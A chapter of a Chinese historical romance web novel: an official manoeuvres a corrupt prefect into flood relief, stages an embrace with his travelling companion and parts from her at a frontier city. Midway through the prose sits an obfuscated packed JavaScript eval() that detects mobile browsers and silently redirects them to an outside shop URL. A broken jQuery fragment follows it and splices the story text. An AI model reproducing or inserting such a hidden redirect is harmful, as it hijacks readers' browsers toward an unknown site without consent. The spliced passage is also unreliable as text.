崔文钧看着那双还恳切的眸子,面无表情地点点头,“今日的这些钱,都算做你帮我的酬劳。”
闻言,宋毓慈欣喜不已,但她又不好表露出来,
接着他的话说道,
“看来今日大人事情办的很顺利。”
一说到正事,崔文钧的脸色这才和缓了些,“韦泰答应赈灾。裴昭川的信函明日或后日应该会到澄州府,他就算眼下心中仍有疑虑,明日收到信函,他会积极的像个兔子一样。”
“北镇百姓得救了,那韦泰呢?他这次也是躲过一劫了?”
崔文钧微微一笑,意味深长地说道,“看他的造化吧。”
宋毓慈知崔文钧这一笑定有深意,韦泰死有余辜,可是兰氏却是个和善的女子,她说道,“可是,兰氏是个好人。”
崔文钧神色不羁,“韦泰搜刮来的银子,她没花过?韦泰府上的锦衣玉食,她没享过?这世间从没有只沾光不担罪的道理。韦泰若跌入泥中,她也要一同坠落。这本就是天经地义。”
他说的有道理,宋毓慈只能无奈地点了点头,“我们何时出发京师?”
他们已经在澄州耽误好几日了。
“明日出发,不过不是回京师。裴昭川的军队两日后会到燕城,休整三日,燕城离这里一百多里地,我送你去裴昭川那里,有他在,他会护送你平安回到京师的。”
宋毓慈惊讶道,“那这样的话,裴将军还会来澄州吗?你不是以裴将军要来才要挟韦泰赈灾的吗?裴将军若不来,韦泰还会赈灾?”
“无妨。今日我的话,韦泰已经信了大半,明日裴昭川的信件一到,他自会赈灾。而裴昭川见到你也是两日后的事情,等他记起要告诉韦泰他不来澄州了,再送信回来,也得六日。这时,韦泰早已经日夜兼程将澄州府收拾好了,他来与否,不重要了。”
说着,崔文钧淡然一笑,“再说,你不是我的妻室吗?到那时,如果真被他接走了,在别人看来,那岂不是很荒唐?”
今日,崔文钧的心情好似真的不错,这种玩笑竟然跟她开了两遍了。高高在上的崔大人,偶尔也想逗弄人取乐吧。
她略过这个玩笑,思索了下崔文钧这次安排的深意。
在苍洲府的这几天,她想了好几次。以崔文钧的官职品级,他完全可以亮明身份,或者搬出邬衡的名头来威压韦泰。
但是他没有。
一是,他朝中有对头,就像他们遇到的那场刺杀一样。他不会主动将自己曝光在日头下。
二是,这次堤坝坍塌,他掌握了武王邬衡一党的秘密。他不想让任何人知道,他掌握了这个秘密。假以时日,他会将此拿出来对付武王邬衡这些人。
京师人人都说,大理寺虽有两位少卿,但都是邬衡的人,所以大宴的律法完全由邬衡控制。
现在看来,倒是未必。
崔文钧有太多自己的想法了。
所以,崔文钧肯定不想让裴昭川知道他在苍洲府。
“那你呢?你是不是不跟我一起回去了吗?我以为,我一直以为,我们会同行一路。”
这一路上,她都已经习惯和他一路同行了。
“我也回京师,只不过不同你们一路了。还有,你就当我们没有一起同行过。天底下的人最爱八卦,我若与你一起回到京师,不知还被传什么闲话,惹出什么风波来。你就当自长林州驿站起,遇到刺客,我们二人逃散,你独自一人找到的裴昭川。”
宋毓慈沉默。
说到离别,气氛有些凝滞。
崔文钧在刚才脱口而出的唐突后,却变得淡然。他上前走近一步,微微笑道,“我需要你帮我个忙。”
宋毓慈抬起头。
这么近的距离,崔文钧低头看着她,一袭黑色华贵长袍挡住了她大半视野。他身上独有的松柏香味混着男子清爽的气息铺面而来。
宋毓慈不知他何意,正偏头思索时,却被他一把拉进怀中。
他的力气很大,宋毓慈忙不迭地跌入他的怀中,被他牢牢接住。他一手扶着她的头,另一只手搂住她的腰。
宋毓慈脑中一片空白,整个人被环在一个宽大又温暖的怀抱里。他的胸膛□□又宽阔,她的脸猝不及防地贴上去,隔着薄薄的两层衣襟,她都能感受到他胸膛的硬度和温暖。
宋毓慈脑中一片空白,心跳迅速,像是有十只小鹿在跳跃。她不知道发生了什么,只好紧紧抓住他胸前的衣衫。崔文钧腾出脑后的手,将她乱抓的手轻轻放下,缓缓低下头在她耳边轻轻说道,“不要动,有人在看。”
他温热的气息喷洒在耳边,以一种极其暧昧的姿势传入宋毓慈耳中。
楼下灯火通明,觥筹交错。
屋中银烛昏暗,暗香涌动。
两人相拥,旖旎的紫色丝裙与肃杀的黑色袍角交织纠缠。
这样高大的身材,舒适的怀抱,以及他少有的温柔语气,饶是再不喜欢他的人,面对这样的攻势都会为之心动。
宋毓慈没想到,崔文钧装也装得十分在行。竟让她有了一种崔文钧极其温情的错觉。不过,这种感觉还不错。舒适又有安全感,还有一丝不能忽视的心动。
神思回归后,她暗自在内心中笑了下自己。
崔大人这只老狐狸,动动手指,就差点让人失了心智。
既然装那就装得逼真一些。
她下垂的手触到他冰凉华丽的衣角,她鼓起勇气,将双手轻轻抬起,搂住了他的腰。
——
崔文钧一怔。
他低头看向怀中人,只见怀中人面色微红,正目不转睛地看着他。
他承认她生的很美。肤色白又通透,鼻子高挺小巧,眸子明亮美丽。
可是近在咫尺的距离再看时,他只看到了她如樱桃般饱满水润的嘴唇……
她因为惊讶微微长大了嘴巴,露出好看的贝齿,白齿红唇……
这么近的距离,他稍微再低低头就能吻上去……
他喉结克制地滚动了一下。不受控制地想到了西北春夜,那一晚慌乱的吻。
他终于意识到自己的神思恍惚,忽地自嘲一下。紧接着,将心底盛开的春花悉数拔起,扔掉。
他的心里终于又恢复了寂静。
他刻意将目光在她脸上移走。
转眼却看到,她簪子上的流苏缠绕在了发髻上。于是,他腾出手,温柔地将她发髻上的流苏拨下。
这一刻,恍若天长地久。
纵使心底春花已被他悉数拔去,可理智如他,如一个旁观者一样,抱拳在旁审视了自己的内心。
崔文钧觉得,自己在西北一定中了她的药。
从而对她有了一丝不该有的感情。
但是,他也不清楚这份感情到底是自己见色起意,还是孤男寡女相处时的错觉。
但无论如何,感情对他,都是个很危险的事情。
他这一生,要升官,要复仇,要以天下人为己任。感情只会消耗他的心神,影响他的计划。
他别过眼去不去看怀中的女子。
但却仍能感受抱她在怀里的感觉,那种感觉让自己心神错乱,心动不已。
“咚咚咚——”
终于,敲门声响起。崔文钧终于松了口气。
门外传来伙计探询的声音,“客官,酒菜做好了。可以给您送进来吗?”
终于要结束了。
崔文钧松开环抱着宋毓慈的手,将宋毓慈轻轻推开,对着门外冷冷说道,
“进来。”
他瞥到窗外有黑影迅速一闪而过。与此同时,门外的伙计笑呵呵地端着托盘进来。
宋毓慈已在圆桌旁坐下,崔文钧坐在了她的身旁。
待伙计将菜全部上齐,推门出去后,屋里便陷入了久久的静默。
两人虽坐在一处,却彼此再没对视过一眼。桌上一碗樱桃雪花羹放在两人中间,被糖渍的樱桃鲜艳欲滴,看起来清甜可口。
崔文钧本意是给宋毓慈点的,女子好甜食。她这一路甚是辛苦,却始终没有抱怨一句,风里雨里,只要他说启程,她从不二话。他欣赏她这种品性,故而想补偿她一下。
可是,刚才,他突然意识到自己有些已经不对了。他不能陷下去。
对一个人有好感是陷进去的开端,而让人越陷越深的是在此人身上付出的时间和心思。
越投入,越习惯,越挂念。
循环往复,不堪设想。
念及此,他伸手将那碗樱桃羹拉至面前。
宋毓慈见他伸手去拉那碗红色的甜品,以为是要给她,推让道,“不了,谢……”
可抬起头来才发现,崔文钧已经碗推至自己面前,挖了一勺开始吃了。
他的手停在半空中,看了眼宋毓慈,直直的将那一勺送入自己口中。
那是很粗犷的冒着尖的一大勺,一勺下去,半碗见底。
他如同吃大白米饭一样咀嚼着精美的甜点,内心却一直嗤之以鼻,太甜了。齁死了……
以后再也不吃甜食。
末了,他喝了一大盏茶。
宋毓慈一直在夹虾仁吃,动作拘谨,又缓慢。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17870873|212198||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
二人刚从刚才的旖旎氛围中抽离出来,一个装作无所事事,一个拘谨得太过刻意,一时都不知怎么打破这尴尬的氛围。
见惯大场面的崔文钧,率先开口道,“韦泰还是想要探听我的底细,刚才派人在门外偷瞧。不过,无妨。等明日裴昭川的书信到了,他就无暇于此了。我刚才……”
宋毓慈附和道,“无妨,崔大人。做戏就应该逼真一些,我理解。”
崔文钧点点头,将凳子往外拉了拉,将彼此距离拉开。“刚才我说要你帮的忙,其实不是刚才那件事……”
宋毓慈正色道:“大人需要我做什么,但说无妨,我会尽力为之。”
崔文钧神色端正,缓缓说道,“回到京师后,你在北朔立了功,皇上大概会召见你。到那时,你在殿上参我一本。”
“我?参你?在皇上面前?”宋毓慈震惊。她后悔自己答应地有点太快了。
她第一次见皇上,不吓得手抖脚抖就算好得了,给她十个胆子也不敢在皇帝面前告状。
崔文钧今天是失心疯了吗?
总是做疯事。
还想拖两个人都下水。
可是听完崔文钧要自己告发的内容后,宋毓慈脑中灵光一现,一瞬间就想通了。
她曾经问过这个人为什么放着大好仕途不走,愿意冒死来西北犯险。
他说他是一个为升官发财不择手段的人。
而今,他一定有秘密。而这个秘密,宋毓慈不敢猜。但和北朔刺杀有很大关系。
崔文钧伸手在袖中掏出一叠银票,“放心。如果你为这件事参我,不会给你带来任何坏处。而且,我们俩本就不应该有关系,这样做,才能将我们的关系撇的干干净净。你到京师肯定需要银钱立足,这些算作酬劳。”
又是这招。
聪明的崔大人,最喜欢以人为棋子,达到他想要的目的。每一次,都能给出对方想要的筹码。
果然他不会无缘无故对自己好。
听到这几句话,宋毓慈从刚才的错觉里走出来。她没有接钱,微微一笑,学着崔文钧的样子说道,“崔大人这么想和我撇清关系吗?”
崔文钧闻言先是一怔,而后哈哈大笑起来。
将了他一军。
不错。
别看宋毓慈看上去纤弱,又温顺,但她确实是个带爪牙的人。有时这爪牙一露,还挺有趣。
宋毓慈接着说道,“开玩笑的,崔大人的意思,我懂。只是,我不会收你的钱的。这一路,你帮我良多,亦师亦友,要说亏欠,我欠你的更多。最后一次,就让我帮你吧。”
她自问没有勇气敢在皇上面前告状,但若是崔文钧需要她帮忙,她便愿意尽力一试。
可崔文钧却没有回过神来,
亦师亦友……
他咂摸着这个形容。
他曾问过自己,两人是何关系,只是同行人?还是别的什么。可是他找不到合适的答案。
而今,宋毓慈的回复,终于让他满意。
亦师亦友。
不错。
——
当晚,裴昭川的急信就送到了韦府。韦泰从梦中惊醒,看过信后,连夜召集差役去抢修堤岸,自己亲自督工。又组织灾民,休憩房屋,道路。
趁着韦泰分身无暇的功夫,崔文钧与宋毓慈在第二日悄然出城。
出城一路向西,两日路程,皆顺利。暂且不提。
时值暮春,春光明媚,原野翠绿,暖气洋洋的日头照着,不一会儿,人就出了一层薄薄的汗。
这样好的晨光,二人到了燕城。城门口,错落着几棵榆树,枝繁叶茂,绿意盎然,崔文钧在树荫下勒马,远远等宋毓慈跟上来。
宋毓慈穿了一件浅粉色的衣衫,编了个麻花辫,未带钗环。骑马时,衣袂翻飞,灵动明媚。
一个月的路程下来,她的骑术精进了不少。
不止骑术,她周身的气质也变了些,更平和从容了。
宋毓慈在他身旁勒住马,他仰起头看着前方城楼上的牌匾,“就是这了。你去跟守城的士兵说一下,他们会带你去见裴昭川。”
说着调转马头,只听宋毓慈轻声说,“崔大人,保重。”
崔文钧停顿片刻,笑笑,“忘了这一程。就当没有发生过。”
说完,不等宋毓慈回应,策马远去。
平地扬起了薄薄的一层尘土。
待尘土落下时,城门口的大路上已不见崔文钧踪影。
一切都已回归原来的样子。
大梦一场,各自归家。